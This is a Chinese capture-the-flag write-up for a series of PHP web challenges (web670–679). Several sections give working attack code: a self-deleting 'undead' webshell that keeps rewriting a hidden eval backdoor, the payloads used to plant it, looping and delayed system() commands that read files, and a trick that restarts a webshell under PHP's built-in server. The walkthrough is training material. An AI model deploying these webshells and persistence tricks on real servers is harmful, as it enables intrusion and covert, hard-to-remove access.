1,web670
我們先看一下這個php代碼
error_reporting(0);#關閉錯誤報告
highlight_file(__FILE__);#內容高亮顯示$a=$_GET['action'];#get傳參switch($a){case 'cmd':eval($_POST['cmd']);break;case 'check':file_get_contents("http://checker/api/check");#獲取url中的內容break;default:die('params not validate');#die函數會輸出指定的字符串并終止腳本運行
}params not validate
<?php
switch (expression) {case value1:// 代碼塊1break;case value2:// 代碼塊2break;// 更多的 case 語句default:// 如果沒有匹配的值
}
?>expression 是要被比較的表達式。case value: 是可能的值,如果 expression 的值等于某個 case 的值,就執行相應的代碼塊。break; 用于終止 switch 語句,防止繼續執行下一個 case。default: 是可選的,用于指定當沒有匹配的 case 時執行的代碼塊。
通過上面的代碼可以看出,我們提交check會獲取check的內容
我們先通過cmd執行命令
查看一下phpinfo
看一下有沒有禁用函數
發現沒有
使用file_put_contents函數寫文件
執行一下check試試
執行之后頁面就變成403了
剛剛寫的木馬也沒有了
應該是訪問check,會執行里面的命令將整個html文件夾刪除
通過寫入不死馬,繞過它的刪除
如果文件刪除方式是rm -rf *
可以利用它的缺陷,它無法刪除點號開頭的文件
成功寫入,進行測試
文件還是沒了,用的不是rm -rf * 的刪除方式
只能使用不死馬了
先介紹一下不死馬
不死馬腳本常駐內存:不死馬腳本通過設置ignore_user_abort(true)和set_time_limit(0),使得腳本在執行時忽略用戶中斷,并且沒有時間限制
循環生成木馬文件:腳本會不斷循環生成指定的木馬文件,即使管理員刪除了木馬文件,腳本也會繼續生成。
刪除自身文件:為了隱藏痕跡,不死馬腳本通常會在執行后刪除自身文件特點。難以刪除:由于腳本常駐內存,即使刪除了生成的木馬文件,腳本仍會繼續生成新的木馬文件。
隱蔽性高:通過刪除自身文件和生成隱藏文件(如以.開頭的文件),增加發現難度。
權限維持:常用于在服務器上維持攻擊者的訪問權限。
簡單來說,不死馬就是在執行的時候會先將自己刪除,但它下面會有一個無線循環一直創建一句話木馬。
我們看一下簡單的不死馬
<?phpignore_user_abort(true);#忽略用戶中斷set_time_limit(0);#設置無時間限制,一直執行unlink(__FILE__);#刪除自身文件$file = '.shell.php'; 要生成的文件名$code = '<?php @eval($_POST[1]);?>'; #一句話木馬while (1) {file_put_contents($file, $code);#寫入木馬文件,前面是文件名,后面是內容usleep(5000);#延遲時間}
?>
寫入不死馬
GET:?action=cmdPOST:cmd=file_put_contents('1.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'.shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');
然后訪問1.php,然后訪問一下生成的木馬,然后訪問check
訪問木馬
讀取flag
如果題目出網的話,可以試試反彈shell
2,wen671
和上一題差不多,直接上傳不死馬試試
這一次flag跑到根目錄下面了
3,web672
和上面的題沒什么區別,不過做了才知道
沒問題,繼續按照上面的步驟執行
還是在根目錄下面
4,web673
還是一樣繼續不死馬
沒有訪問check,沒生成呢
5,web674
還是一樣繼續
6,web675
一樣繼續
7,web676
還是一樣繼續
8,web677
和上面的差不多,寫不死馬
發現寫不進去了
通過前面,不死馬的特性,我們可以知道,雖然訪問http://checker/api/check,會刪除文件,但無法殺死進程,我們可以通過執行無限循環的代碼獲取flag
while循環及應用shell腳本之十:while循環及應用實踐 - cuiyongchao007 - 博客園
我們構造一下
system('while true;do cat /f*;done');
通過while無限循環,讀取根目錄下的f開頭的文件,如果知道完整路徑可以將它寫到一個文件中
也可以通過延時的方法讀取文件
system('sleep 10;cat /f*');
先執行循環
再訪問check
需要等個一分鐘才出來
建議使用延時的腳本
9,web678
使用延時腳本
如果10秒弄不好可以調成其他的
10,web679
訪問會停止一切web服務,那么我們需要在它停止的時候,再起來一個web服務
權限太低,啟動不了nginx和php-frm,但php存在內置的服務器
基本用法
在命令行中,可以通過以下命令啟動 PHP 內置服務器:
php -S <host>:<port> <router><host>:服務器綁定的主機地址,通常是 localhost 或 127.0.0.1。<port>:服務器監聽的端口號,例如 8000。<router>:一個 PHP 腳本文件,用于處理請求。如果省略,服務器會將所有請求映射到當前目錄下的文件。
/tmp目錄下可以寫文件,開啟php的命令,php -S 0.0.0.0:80
file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
一句話這里要用雙引號,$_POST[1]由于$被轉義了,所以原樣輸出
將一句話木馬寫入到index.php文件中,然后cd到tmp,延時10秒開啟php服務器,因為提前開啟的服務也會被關掉
404了
我們等待一會
執行命令